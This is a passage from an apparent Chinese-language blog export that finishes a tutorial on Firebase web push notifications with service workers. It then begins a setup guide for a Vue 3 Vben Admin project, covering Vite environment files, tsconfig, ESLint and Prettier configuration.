document.cookie.replace(/(?:(?:^|.*;\\\\s*)augustusWsPush\\s*\\=\\s*([^;]*).*$)|^.*$/, \u0026#34;$1\u0026#34;) || null; // cookies不存在，跟使用者要求通知權限 if(ckv === null) { // 拿到token，firebase-messaging-sw.js 就會存 Service Workers 裡 messaging.getToken().then(function(currentToken) { // token存至firebase var id = currentToken.split(\u0026#39;:\u0026#39;)[0]; firebase.database().ref(\u0026#39;pushUsers/\u0026#39; + id).set({\u0026#39;token\u0026#39;: currentToken}); // token存至cookies document.cookie = \u0026#34;augustusWsPush=\u0026#34; + currentToken; }); } // cookies 已存在，從 cookies 取出後傳至 firebase else { var id = ckv.split(\u0026#39;:\u0026#39;)[0]; firebase.database().ref(\u0026#39;pushUsers/\u0026#39; + id).set({\u0026#39;token\u0026#39;: ckv}); } }).catch(function(err) { console.log(\u0026#39;使用者未允許通知\u0026#39;, err); }); }); 裡面有一行很重要：\n1 messaging.useServiceWorker(xxx); 這是這次踩到的坑。\n如果沒寫這行，就會發現網站存了 2 個 service worker，分別是 Firebase 的，以及我們自己的。這行可以讓 FCM 只存我們註冊的 sw.js，才可以在用 FCM 推播時，順利的執行推播及點擊後開啟指定的頁面。\n成功的話，開啟 index.html，在開發人員工具的 Application → Service Workers，就會看見註冊了 sw.js 檔案：\n註冊 sw.js 只能在 https 下，因此網域必須有S SL，不然會註冊失敗。\n1 messaging.requestPermission() 這行會跟使用者要允許通知，使用者按下允許後\n1 messaging.requestPermission() 這行就會產生 FCM 的 token，之後就是存進 Firebase 跟 Cookies。\nFirebase 上會看到以下：\n之後只要跑個迴圈，就可以一個個去發送 Web Push。\n發送 Web Push 這邊新增一個 admin.html 來當做發送 Web Push 的後台介面，直接用 Vue.js 抓每個 input 的值。\nWeb Push 如果要判斷成效，直接用 Google Analytics 的 utm 參數就可以了，所以後台欄位有給 utm 用的 3 個主要參數。\n不含樣式的原始碼文末會附上 GitHub 網址。\n在發送 Web Push 時，還要填入伺服器的金鑰，這也是從 Firebase 後台可以拿到。點小齒輪 → 專案設定 → Cloud Messaging，第一個「伺服器金鑰」的值就是了：\n發送 Web Push 的 JS 如下，寫在 admin.html 裡：\nfcm-web-push-trigger.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 var notification = { \u0026#39;title\u0026#39;: \u0026#39;web push標題\u0026#39;, \u0026#39;body\u0026#39;: \u0026#39;web push內文\u0026#39;, \u0026#39;badge\u0026#39;: \u0026#39;logo圖檔路徑\u0026#39;, \u0026#39;icon\u0026#39;: \u0026#39;logo圖檔路徑\u0026#39;, \u0026#39;click_action\u0026#39;: \u0026#39;https://www.domain.com.tw\u0026#39;, \u0026#39;data\u0026#39;: { \u0026#39;url\u0026#39;: \u0026#39;https://www.domain.com.tw\u0026#39; } }; fetch(\u0026#39;https://fcm.googleapis.com/fcm/send\u0026#39;, { \u0026#39;method\u0026#39;: \u0026#39;POST\u0026#39;, \u0026#39;headers\u0026#39;: { \u0026#39;Authorization\u0026#39;: \u0026#39;key=從firebase上取得伺服器金鑰\u0026#39;, \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39; }, \u0026#39;body\u0026#39;: JSON.stringify({ \u0026#39;data\u0026#39;: notification, \u0026#39;to\u0026#39;: \u0026#39;使用者的token\u0026#39;, }) }).then(function(response) { console.log(response); }).catch(function(error) { alert(error); }); 接收 Web Push 接受 Web Push 有 2 種情況：\n使用者正開啟官網頁面 使用者沒有開啟官網頁面 第一種情況，是在 index.js 下寫一個 messaging.onMessage 的 function 處理。\n第二種情況，是在 sw.js 下寫一個 messaging.setBackgroundMessageHandler 的 function 處理。\n使用者正開啟官網頁面 官網正開啟的狀況下，屬於 JS 的 notification 功能，function 範例如下：\nfcm-web-push-notification.js 1 2 3 4 5 6 7 8 9 10 11 messaging.onMessage(function(payload) { var msgTitle = payload.data.title; var url = payload.data.click_action; var notification = new Notification(msgTitle, payload.data); // 點擊推播後要連去哪 notification.addEventListener(\u0026#39;click\u0026#39;, function() { e.preventDefault(); location.href = url; }); }); payload 就是傳來的值，點擊後要導到的頁面就用 location.href 來處理。\n使用者沒有開啟官網頁面 使用者在上網，但沒有開啟官網的頁面，就是由之前註冊的 sw.js 處理，在 sw.js 加入以下：\nfcm-web-push-sw2.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 var click_action; // 監聽notifiction點擊事件 self.addEventListener(\u0026#39;notificationclick\u0026#39;, function(event) { var url = click_action; event.notification.close(); event.waitUntil( clients.matchAll({ type: \u0026#39;window\u0026#39; }).then(windowClients =\u0026gt; { // 如果tab是開著的，就 focus 這個tab for (var i = 0; i \u0026lt; windowClients.length; i++) { var client = windowClients[i]; if(client.url === url \u0026amp;\u0026amp; \u0026#39;focus\u0026#39; in client) { return client.focus(); } } // 如果沒有，就新增tab if(clients.openWindow) { return clients.openWindow(click_action); } }) ); }); // FCM messaging.setBackgroundMessageHandler(function(payload) { var data = payload.data; var title = data.title; var options = { body: data.body, icon: \u0026#39;/logo/logo192.png\u0026#39;, badge: \u0026#39;/logo/logo192.png\u0026#39; }; click_action = data.click_action; return self.registration.showNotification(title, options); }); click_action 是點擊後要開啟的頁面網址，但要另外寫一個 notificationclick 來處理。\n這邊踩了一個坑，如果按照一般順序來寫，會先寫了 messaging.setBackgroundMessageHandler 後，再寫 notificationclick。然後就會發現，Chrome 上可以正常運作，但在 Firefox 上怎麼點就是不會開啟頁面。\nGoogle 了很久，才看到這篇：service worker notificationclick event doesn’t focus or open my website in tab\nclick_action 是 Chrome 用的，如果 messaging.setBackgroundMessageHandler 先寫了，那 FCM 就會全部接收 Web Push 的功能，就不會讓原生的 notificationclick 事件被運作，因此 notificationclick 得寫在前，讓原生事件運作後，再執行 FCM 的事件。\n補充資源 有了發送、接收，基本上 Web Push 就可以順利運作了。\n要注意的是 Web Push 只接受在 https 以下運行。\n最後附上學習時參考的教學文，以及本篇的 GitHub 原始碼。\n從建 Firebase 就開始教學的（英文）：Tutorial: Web Push notification using Firebase\n建立 Service Worker Web Push Notification — (Firebase Push Notification實作紀錄)\nPush Notification之成為訂閱用戶(Firebase實作)\nGoogle 官方教學的原始碼：GitHub\nGoogle 官方教學的功能示範：Notification Examples\n","date":"2022-10-19T00:00:00Z","image":"https://live.staticflickr.com/65535/52438994804_33f71b7e35_o.jpg","permalink":"https://blog.wayne-project.com/2022-10-19/web-pwa/","title":"將網頁變成Progressive Web Application(PWA)，漸進式的網頁應用程式"},{"content":" 參考網站\n參考網站\n這是一篇完整的 2022 年連結優化指南。\n因此，如果你想要取得權威網站的反向連結。\n你將會在這篇新指南中，享受本文可操作的技巧。\n讓我們往深入其中吧。\nVben Admin 點我跳過 Vben Admin，直接前往配置Vite\n介紹 Vue-Vben-Admin 是一個基於 Vue3.0、Vite、Ant-Design-Vue、TypeScript 的後台解決方案，目標是為開發中大型項目提供開箱即用的解決方案。包括二次封裝組件、utils、hooks、動態菜單、權限校驗、按鈕級別權限控制等功能。項目會使用前端較新的技術棧，可以作為項目的啟動模版，以幫助你快速搭建企業級中後台產品原型。也可以作為一個示例，用於學習 vue3、vite、ts 等主流技術。該項目會持續跟進最新技術，並將其應用在項目中。\n文檔 中文文檔地址為 vben-admin-doc，採用 Vitepress 開發。 本地運行文檔 如需本地運行文檔，請拉取代碼到本地。\n1 2 3 4 5 6 7 8 # 拉取代碼 git clone https://github.com/vbenjs/vue-vben-admin-doc # 安裝依賴 yarn # 運行項目 yarn dev 需要掌握的基礎知識 本項目需要一定前端基礎知識，請確保掌握Vue 的基礎知識，以便能處理一些常見的問題。建議在開發前先學一下以下內容，提前了解和學習這些知識，會對項目理解非常有幫助：\nVue3 文檔 Vue-RFCS Vue2 遷移到 3 TypeScript Vue-router Ant-Design-Vue ES6 Vitejs WindiCss 模版 vue-vben-admin (完整版演示) vue-vben-admin 完整版本。該版本主要是提供一些Demo示例及插件的使用集成方式，主要用於參考。如果對項目不是很熟悉，不建議在此基礎上進行開發，請使用下方提供的精簡版本。\nvue-vben-admin-thin (精簡版演示) vue-vben-admin 精簡版本。刪除了相關示例、無用文件及功能、依賴。可以根據自身需求安裝對應的依賴。因為使用的是 vite，依賴刪除不會導致相關組件或者 hook 發出警告。只在需要的時候安裝對應的庫即可。\nvite 插件推薦 vite-plugin-mock - 用於本地及開發環境數據 mock\nvite-plugin-html - 用於 html 模版轉換，可以在html文件內進行書寫模版語法\nvite-plugin-style-import - 用於組件庫樣式按需引入\nvite-plugin-imagemin - 用於打包壓縮圖片資源\nvite-plugin-theme - 用於在線切換主題色/黑暗主題適配等主題相關配置\nvite-plugin-compression - 用於打包輸出.gz|.br文件\nvite-plugin-svg-icons - 快速生成 svg sprite\n瀏覽器支持 本地開發推薦使用Chrome 最新版瀏覽器，不支持Chrome 80以下版本。\n生產環境支持現代瀏覽器，不支持IE。\n創建VbenLearn項目 使用Vite創建項目 vite官方文檔\n1 2 3 4 5 6 7 8 # 官網上的創建項目命令 yarn create @vitejs/app # 名稱 vben-learn # vue-ts的模板 √ vue-ts yarn報錯 文件名、目錄名或卷標語法不正確。報錯，參考鏈接\n安裝 vscode 插件 安裝插件 VbenAdmin 官方推荐\nIconify IntelliSense：Iconify 圖標插件 WndiCSS lntelliSense：windicss 提示插件 i18n Ally： i18n 插件 Vetur：vue 開發必備 （也可以選擇 Volar） ESLint：腳本代碼檢查 Prettier - Code formatter：代碼格式化 Stylelint：css 格式化 DotENV： .env 文件 高亮 獲取 Vben Admin 從 GitHub 獲取代碼 1 git clone https://github.com/vbenjs/vue-vben-admin.git 從 Gitee 獲取代碼 1 git clone https://gitee.com/annsion/vue-vben-admin.git 注意\nGitee 的代碼可能不是最新的\nimagemin 依賴安裝失敗解決方法 由於 imagemin 在國內安裝困難，提供以下幾個解決方案：\n使用 yarn 在 package.json 內配置(推薦，項目內已集成，前提是必須使用 yarn) package.json 1 2 3 4 5 // ... \u0026#34;resolutions\u0026#34;: { \u0026#34;bin-wrapper\u0026#34;: \u0026#34;npm:bin-wrapper-china\u0026#34; } // ... 使用 npm，在電腦 host 文件加上如下配置即可 etc/hosts 1 199.232.4.133 raw.githubusercontent.com npm script package.json 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 // ... \u0026#34;scripts\u0026#34;: { # 安裝依賴 \u0026#34;bootstrap\u0026#34;: \u0026#34;yarn install\u0026#34;, # 運行項目 \u0026#34;serve\u0026#34;: \u0026#34;npm run dev\u0026#34;, # 運行項目 \u0026#34;dev\u0026#34;: \u0026#34;vite\u0026#34;, # 構建項目 \u0026#34;build\u0026#34;: \u0026#34;vite build \u0026amp;\u0026amp; esno ./build/script/postBuild.ts\u0026#34;, # 清空緩存後構建項目 \u0026#34;build:no-cache\u0026#34;: \u0026#34;yarn clean:cache \u0026amp;\u0026amp; npm run build\u0026#34;, # 生成打包分析，在 `Mac OS` 電腦上執行完成後會自動打開界面，在 `Window` 電腦上執行完成後需要打開 `./build/.cache/stats.html` 查看 \u0026#34;report\u0026#34;: \u0026#34;cross-env REPORT=true npm run build\u0026#34;, # 類型檢查 \u0026#34;type:check\u0026#34;: \u0026#34;vue-tsc --noEmit --skipLibCheck\u0026#34;, # 預覽打包後的內容（先打包在進行預覽） \u0026#34;preview\u0026#34;: \u0026#34;npm run build \u0026amp;\u0026amp; vite preview\u0026#34;, # 直接預覽本地 dist 文件目錄 \u0026#34;preview:dist\u0026#34;: \u0026#34;vite preview\u0026#34;, # 生成 ChangeLog \u0026#34;log\u0026#34;: \u0026#34;conventional-changelog -p angular -i CHANGELOG.md -s\u0026#34;, # 刪除緩存 \u0026#34;clean:cache\u0026#34;: \u0026#34;rimraf node_modules/.cache/ \u0026amp;\u0026amp; rimraf node_modules/.vite\u0026#34;, # 刪除 node_modules (`window` 系統手動刪除該目錄較慢，可以使用該命令來進行刪除) \u0026#34;clean:lib\u0026#34;: \u0026#34;rimraf node_modules\u0026#34;, # 執行 eslint 校驗，並修復部分問題 \u0026#34;lint:eslint\u0026#34;: \u0026#34;eslint \\\u0026#34;{src,mock}/**/*.{vue,ts,tsx}\\\u0026#34; --fix\u0026#34;, # 執行 prettier 格式化（該命令會對項目所有代碼進行 prettier 格式化，請謹慎執行） \u0026#34;lint:prettier\u0026#34;: \u0026#34;prettier --write --loglevel warn \\\u0026#34;src/**/*.{js,json,tsx,css,less,scss,vue,html,md}\\\u0026#34;\u0026#34;, # 執行 stylelint 格式化 \u0026#34;lint:stylelint\u0026#34;: \u0026#34;stylelint --fix \\\u0026#34;**/*.{vue,less,postcss,css,scss}\\\u0026#34; --cache --cache-location node_modules/.cache/stylelint/\u0026#34;, \u0026#34;lint:lint-staged\u0026#34;: \u0026#34;lint-staged -c ./.husky/lintstagedrc.js\u0026#34;, \u0026#34;lint:pretty\u0026#34;: \u0026#34;pretty-quick --staged\u0026#34;, # 對打包結果進行 gzip 測試 \u0026#34;test:gzip\u0026#34;: \u0026#34;http-server dist --cors --gzip -c-1\u0026#34;, # 對打包目錄進行 brotli 測試 \u0026#34;test:br\u0026#34;: \u0026#34;http-server dist --cors --brotli -c-1\u0026#34;, # 重新安裝依賴，見下方說明 \u0026#34;reinstall\u0026#34;: \u0026#34;rimraf yarn.lock \u0026amp;\u0026amp; rimraf package.lock.json \u0026amp;\u0026amp; rimraf node_modules \u0026amp;\u0026amp; npm run bootstrap\u0026#34;, \u0026#34;install:husky\u0026#34;: \u0026#34;is-ci || husky install\u0026#34;, # 生成圖標集，見下方說明 \u0026#34;gen:icon\u0026#34;: \u0026#34;esno ./build/generate/icon/index.ts\u0026#34;, \u0026#34;postinstall\u0026#34;: \u0026#34;npm run install:husky\u0026#34; }, // ... 目錄說明 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 . ├── build # 打包腳本相關 │ ├── config # 配置文件 │ ├── generate # 生成器 │ ├── script # 腳本 │ └── vite # vite配置 ├── mock # mock文件夾 ├── public # 公共靜態資源目錄 ├── src # 主目錄 │ ├── api # 接口文件 │ ├── assets # 資源文件 │ │ ├── icons # icon sprite 圖標文件夾 │ │ ├── images # 項目存放圖片的文件夾 │ │ └── svg # 項目存放svg圖片的文件夾 │ ├── components # 公共組件 │ ├── design # 樣式文件 │ ├── directives # 指令 │ ├── enums # 枚舉/常量 │ ├── hooks # hook │ │ ├── component # 組件相關hook │ │ ├── core # 基礎hook │ │ ├── event # 事件相關hook │ │ ├── setting # 配置相關hook │ │ └── web # web相關hook │ ├── layouts # 佈局文件 │ │ ├── default # 默認佈局 │ │ ├── iframe # iframe佈局 │ │ └── page # 頁面佈局 │ ├── locales # 多語言 │ ├── logics # 邏輯 │ ├── main.ts # 主入口 │ ├── router # 路由配置 │ ├── settings # 項目配置 │ │ ├── componentSetting.ts # 組件配置 │ │ ├── designSetting.ts # 樣式配置 │ │ ├── encryptionSetting.ts # 加密配置 │ │ ├── localeSetting.ts # 多語言配置 │ │ ├── projectSetting.ts # 項目配置 │ │ └── siteSetting.ts # 站點配置 │ ├── store # 數據倉庫 │ ├── utils # 工具類 │ └── views # 頁面 ├── test # 測試 │ └── server # 測試用到的服務 │ ├── api # 測試服務器 │ ├── upload # 測試上傳服務器 │ └── websocket # 測試ws服務器 ├── types # 類型文件 ├── vite.config.ts # vite配置文件 └── windi.config.ts # windcss配置文件 Vite配置多環境 說明： 就好像之前在Vue-Cli中的env一樣。\nVite官網說明\nVbenAdmin官方說明\n項目的環境變量配置位於項目根目錄下的 .env、.env.development、.env.production\n1 2 3 4 .env # 在所有的環境中被載入 .env.local # 在所有的環境中被載入，但會被 git 忽略 .env.[mode] # 只在指定的模式中被載入 .env.[mode].local # 只在指定的模式中被載入，但會被 git 忽略 創建默認配置文件 根目錄下創建：.env文件 1 2 3 4 5 6 7 8 # 運行的端口 VITE_PORT = 3100 # 應用名稱 VITE_GLOB_APP_TITLE = Vben Admin # 應用短名稱 VITE_GLOB_APP_SHORT_NAME = vue_vben_admin 創建生產配置文件 根目錄下創建：.env.production文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 # 是否使用mock VITE_USE_MOCK = true # 公共路徑 VITE_PUBLIC_PATH = / # 是否刪除所有日誌打印 VITE_DROP_CONSOLE = true # 是否啟用gzip或brotli壓縮。 # 可選：gzip | brotli | none # 如果你需要多個表格，你可以使用`,`來分隔。 VITE_BUILD_COMPRESS = \u0026#39;none\u0026#39; # 應用基本接口地址 VITE_GLOB_API_URL=/api # 文件上傳地址，可選 # 可以通過nginx轉發或直接寫入實際地址。 VITE_GLOB_UPLOAD_URL=/upload # 接口前綴 VITE_GLOB_API_URL_PREFIX= # 是否啟用圖像壓縮 VITE_USE_IMAGEMIN= true #使用PWA VITE_USE_PWA = false # 是否與舊版瀏覽器兼容 VITE_LEGACY = false 創建開發配置文件 根目錄下創建：.env.development文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 VITE_PORT = 3100 # 是否使用mock VITE_USE_MOCK = true # 公共路徑 VITE_PUBLIC_PATH = / # 跨域代理，你可以配置多個代理。 VITE_PROXY=[[\u0026#34;/api\u0026#34;,\u0026#34;http://localhost:3000\u0026#34;],[\u0026#34;/upload\u0026#34;,\u0026#34;http://localhost:3001/upload\u0026#34;]] # VITE_PROXY=[[\u0026#34;/api\u0026#34;,\u0026#34;https://vvbin.cn/test\u0026#34;]] # 是否刪除所有日誌打印 VITE_DROP_CONSOLE = false # 應用基本接口地址 VITE_GLOB_API_URL=/api # 文件上傳地址，可選 VITE_GLOB_UPLOAD_URL=/upload # 接口前綴 VITE_GLOB_API_URL_PREFIX= 測試配置 src\\App.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt;{{ vitePort }}\u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#34;ts\u0026#34;\u0026gt; import { defineComponent, ref } from \u0026#34;vue\u0026#34;; export default defineComponent({ name: \u0026#34;App\u0026#34;, setup() { const vitePort = ref(import.meta.env.VITE_PORT); return { vitePort, }; }, }); \u0026lt;/script\u0026gt; 生產環境動態配置，可參考 Vben Admin 官方說明\n配置TS 說明 我們使用Vite創建的項目時使用的是vue-ts模板，所以在創建項目的時候package.json就自帶了typescript。該依賴會編譯我們的ts文件。那麼是依賴我們就可以配置它。配置內容還是照搬Vben的，加上註釋和規則來源。\n官方文檔-tsconfig.json文件 官方文檔-TS編譯選項 你不知道的 tsconfig.json 參考鏈接 創建配置文件 根目錄下創建：tsconfig.json文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 { \u0026#34;compilerOptions\u0026#34;: { // ↓ 指定ECMAScript目標版本，esnext為最新版本 \u0026#34;target\u0026#34;: \u0026#34;esnext\u0026#34;, // ↓ 指定生成哪個模塊系統代碼，esnext為最新版本 \u0026#34;module\u0026#34;: \u0026#34;esnext\u0026#34;, // ↓ 決定如何處理模塊。 \u0026#34;moduleResolution\u0026#34;: \u0026#34;node\u0026#34;, // ↓ 啟用所有嚴格類型檢查選項。 \u0026#34;strict\u0026#34;: true, // ↓ 禁止對同一個文件的不一致的引用。 \u0026#34;forceConsistentCasingInFileNames\u0026#34;: true, // ↓ 允許從沒有設置默認導出的模塊中默認導入。這並不影響代碼的輸出，僅為了類型檢查。 \u0026#34;allowSyntheticDefaultImports\u0026#34;: true, // ↓ 禁用函數參數雙向協變檢查。 \u0026#34;strictFunctionTypes\u0026#34;: false, // ↓ 在 .tsx文件裡支持JSX \u0026#34;jsx\u0026#34;: \u0026#34;preserve\u0026#34;, // ↓ 解析非相對模塊名的基準目錄。查看 模塊解析文檔了解詳情。 \u0026#34;baseUrl\u0026#34;: \u0026#34;.\u0026#34;, // ↓ 允許編譯javascript文件。 \u0026#34;allowJs\u0026#34;: true, // ↓ 生成相應的 .map文件。 \u0026#34;sourceMap\u0026#34;: true, \u0026#34;esModuleInterop\u0026#34;: true, \u0026#34;resolveJsonModule\u0026#34;: true, // ↓ 若有未使用的局部變量則拋錯。 \u0026#34;noUnusedLocals\u0026#34;: true, // ↓ 若有未使用的參數則拋錯。 \u0026#34;noUnusedParameters\u0026#34;: true, // ↓ 啟用實驗性的ES裝飾器。 \u0026#34;experimentalDecorators\u0026#34;: true, // ↓ 編譯過程中需要引入的庫文件的列表。 \u0026#34;lib\u0026#34;: [\u0026#34;dom\u0026#34;, \u0026#34;esnext\u0026#34;], // ↓ 要包含的類型聲明文件名列表。 \u0026#34;types\u0026#34;: [\u0026#34;vite/client\u0026#34;], // ↓ 要包含的類型聲明文件路徑列表。 \u0026#34;typeRoots\u0026#34;: [\u0026#34;./node_modules/@types/\u0026#34;, \u0026#34;./types\u0026#34;], \u0026#34;incremental\u0026#34;: true, // ↓ 在表達式和聲明上有隱含的 any類型時報錯。 \u0026#34;noImplicitAny\u0026#34;: false, // ↓ 忽略所有的聲明文件（ *.d.ts）的類型檢查。 \u0026#34;skipLibCheck\u0026#34;: true, // ↓ 模塊名到基於 baseUrl的路徑映射的列表。查看 模塊解析文檔了解詳情。 \u0026#34;paths\u0026#34;: { \u0026#34;/@/*\u0026#34;: [\u0026#34;src/*\u0026#34;], \u0026#34;/#/*\u0026#34;: [\u0026#34;types/*\u0026#34;] } }, // ↓ 指定一個匹配列表（屬於自動指定該路徑下的所有ts相關文件） \u0026#34;include\u0026#34;: [ \u0026#34;src/**/*.ts\u0026#34;, \u0026#34;src/**/*.d.ts\u0026#34;, \u0026#34;src/**/*.tsx\u0026#34;, \u0026#34;src/**/*.vue\u0026#34;, \u0026#34;types/**/*.d.ts\u0026#34;, \u0026#34;types/**/*.ts\u0026#34;, \u0026#34;mock/**/*.ts\u0026#34; ], // ↓ 指定一個排除列表（include的反向操作） \u0026#34;exclude\u0026#34;: [\u0026#34;node_modules\u0026#34;, \u0026#34;dist\u0026#34;, \u0026#34;**/*.js\u0026#34;] } 這裡配置完ESLint之後會報錯，說找不到vite/client。不用管它，當你執行完後面的ESLint-TS的時候就不會報錯了。\n安裝 ESLint 說明 ESLint簡單的來說就是去判斷你的JS代碼寫的格式對不對的一個依賴。沒有它你的代碼也能運行，有了它你的代碼可以寫的更漂亮。 ESLint還支持插件，第三方框架會基於ESLint寫出自己的代碼檢查插件。比如Vue3對應eslint-plugin-vue。\nESLint官網 ESLint-快速入門 配置ESLint ESLint的配置規則 安裝 ESLint 1 yarn add eslint --dev 配置ESLint：根目錄下創建：.eslintrc.js文件。 這裡可以使用eslint的init。但是我不清楚Vben的初始化操作是怎麼選的，所以直接拷貝Vben的配置。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 module.exports = { // ↓ 默認情況下，ESLint 會在所有父級目錄裡尋找配置文件，一直到根目錄。如果你想要你所有項目都遵循一個特定的約定時，這將會很有用，但有時候會導致意想不到的結果。為了將 ESLint 限製到一個特定的項目，在你項目根目錄下的 package.json 文件或者 .eslintrc.* 文件裡的 eslintConfig 字段下設置 \u0026#34;root\u0026#34;: true。 ESLint 一旦發現配置文件中有 \u0026#34;root\u0026#34;: true，它就會停止在父級目錄中尋找。 // ↓ 此項是用來告訴eslint找當前配置文件不能往父級查找 root: true, // ↓ 指定你想啟用的環境 env: { browser: true, node: true, es6: true, }, // ↓ 設置解析器 parser: \u0026#34;\u0026#34;, // ↓ 解析器選項 parserOptions: {}, // ↓ 擴展項 extends: [], // ↓ 自定義規則配置 rules: {} } 配置ESLint忽略文件：根目錄下創建：.eslintignore文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 *.sh node_modules *.md *.woff *.ttf .vscode .idea dist /public /docs .husky .local /bin Dockerfile 安裝 eslint-plugin-vue 說明 ESLint是檢查JS代碼的依賴，那麼它怎麼去檢查Vue語法的文件呢？要完成這件事，我們就需要安裝vue官方開發的ESLint插件eslint-plugin-vue。這樣ESLint就知道該怎麼檢查vue的文件了。\neslint-plugin-vue的官方文檔 eslint-plugin-vue的npm首頁 vue eslint 升級_ESLint 的 parser 是個什麼東西 vue-eslint-parser的Git地址 怎麼理解eslint-plugin-vue和vue-eslint-parser的關係呢?\nESLint 會對我們的代碼進行校驗，而 parser 的作用是將我們寫的代碼轉換為 ESTree，ESLint 會對 ESTree 進行校驗。\nvue-eslint-parser文檔上說是vue的模板解析器。 vue-eslint-parser的文檔中強調\u0026lt;template\u0026gt;標籤中的內容進行檢查。\n那麼我的理解是vue-eslint-parser將vue文件轉換成ESTree。然後使用eslint-plugin-vue來檢查這個ESTree。查出的結果交給ESLint。\nvue-eslint-parser的官方說明：\nThis parser allows us to lint the \u0026lt;template\u0026gt; of .vue files. We can make mistakes easily on \u0026lt;template\u0026gt; if we use complex directives and expressions in the template. This parser and the rules of eslint-plugin-vue would catch some of the mistakes.\n這個解析器允許我們對.vue文件的\u0026lt;template\u0026gt;進行檢查。如果我們在模板中使用了複雜的指令和表達式，我們很容易在\u0026lt;template\u0026gt;上出錯。這個解析器和eslint-plugin-vue的規則可以發現一些錯誤。\n總之eslint-plugin-vue和vue-eslint-parser需要一起使用，而且官網也有標示怎麼操作。\n安裝兩個 npm 插件 1 yarn add eslint-plugin-vue vue-eslint-parser --dev 將插件配置進ESLint 配置ESLint：根目錄下修改：.eslintrc.js文件 .eslintrc.js 1 2 3 4 5 6 7 8 9 module.exports = { // ... parser: \u0026#39;vue-eslint-parser\u0026#39;, // ... extends: [ \u0026#39;plugin:vue/vue3-recommended\u0026#39;, ], // ... } 安裝 @typescript-eslint 說明 這裡同理需要安裝 @typescript-eslint/eslint-plugin 和 @typescript-eslint/parser。\nTS-ESLint規則 @typescript-eslint/eslint-plugin的npm首頁 @typescript-eslint/parser的npm首頁 安裝TS的Lint 1 yarn add @typescript-eslint/eslint-plugin @typescript-eslint/parser --dev 將插件配置進ESLint 配置ESLint：根目錄下修改：.eslintrc.js文件 .eslintrc.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 module.exports = { // ... parserOptions: { parser: \u0026#34;@typescript-eslint/parser\u0026#34;, ecmaVersion: 2020, sourceType: \u0026#34;module\u0026#34;, jsxPragma: \u0026#34;React\u0026#34;, ecmaFeatures: { jsx: true, tsx: true, }, }, extends: [\u0026#34;plugin:vue/vue3-recommended\u0026#34;, \u0026#34;plugin:@typescript-eslint/recommended\u0026#34;], // ... } 安裝 eslint-plugin-prettier 說明 prettier用來格式化代碼的。一般IDE都有prettier的插件，在保存的時候格式化代碼。那麼我們eslint-plugin-prettier就是通過JS來判斷代碼格式是否正確。 一般這很必要，因為不同的程序員有不同的IDE，不同的IDE有不同的prettier插件。但對於項目來說只有一個eslint-plugin-prettier。\n而eslint-plugin-prettier插件依賴於prettier依賴。那麼eslint-config-prettier插件又是幹嘛的？\nprettier和ESLint之間有些規則不一樣，因此是用於解決衝突得。eslint-config-prettier將prettier一些規則默認關閉了。\n使用ESLint+Prettier來統一前端代碼風格 prettier首頁 prettier的npm首頁 eslint-plugin-prettier的npm首頁 eslint-config-prettier的npm首頁 安裝 1 yarn add prettier eslint-plugin-prettier eslint-config-prettier --dev 配置prettier prettier的配置項\n根目錄下創建：prettier.config.js文件 prettier.config.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 module.exports = { printWidth: 100, tabWidth: 2, useTabs: false, semi: true, vueIndentScriptAndStyle: true, singleQuote: true, quoteProps: \u0026#39;as-needed\u0026#39;, bracketSpacing: true, trailingComma: \u0026#39;es5\u0026#39;, jsxBracketSameLine: false, jsxSingleQuote: false, arrowParens: \u0026#39;always\u0026#39;, insertPragma: false, requirePragma: false, proseWrap: \u0026#39;never\u0026#39;, htmlWhitespaceSensitivity: \u0026#39;strict\u0026#39;, endOfLine: \u0026#39;lf\u0026#39;, rangeStart: 0 } 配置prettier忽略文件 根目錄下創建：.prettierignore文件 .prettierignore 1 2 3 4 5 6 7 8 9 /dist/* .local .output.js /node_modules/** **/*.svg **/*.sh /public/* 配置進ESLint 配置ESLint：修改根目錄下：.eslintrc.js文件 .eslintrc.js 1 2 3 4 5 6 7 8 9 10 module.exports = { // ... extends: [ \u0026#34;plugin:vue/vue3-recommended\u0026#34;, \u0026#34;plugin:@typescript-eslint/recommended\u0026#34;, \u0026#34;prettier\u0026#34;, \u0026#34;plugin:prettier/recommended\u0026#34;, ], // ... } 自定義ESLint檢查規則 說明 ESLint是用來檢查代碼的。又安裝了那麼多的插件。但是官方默認的方案有時不一樣符合我們的要求。我們需要自定義自己的規則。\n修改規則主要是修改根目錄下.eslintrc.js文件的rules字段。\n修改規則 @typescript-eslint/ban-ts-ignore @typescript-eslint/explicit-function-return-type @typescript-eslint/no-explicit-any @typescript-eslint/no-var-requires @typescript-eslint/no-empty-function vue/custom-event-name-casing no-use-before-define @typescript-eslint/no-use-before-define @typescript-eslint/ban-ts-comment @typescript-eslint/ban-types @typescript-eslint/no-non-null-assertion @typescript-eslint/explicit-module-boundary-types @typescript-eslint/no-unused-vars no-unused-vars space-before-function-paren vue/attributes-order vue/one-component-per-file vue/html-closing-bracket-newline vue/max-attributes-per-line 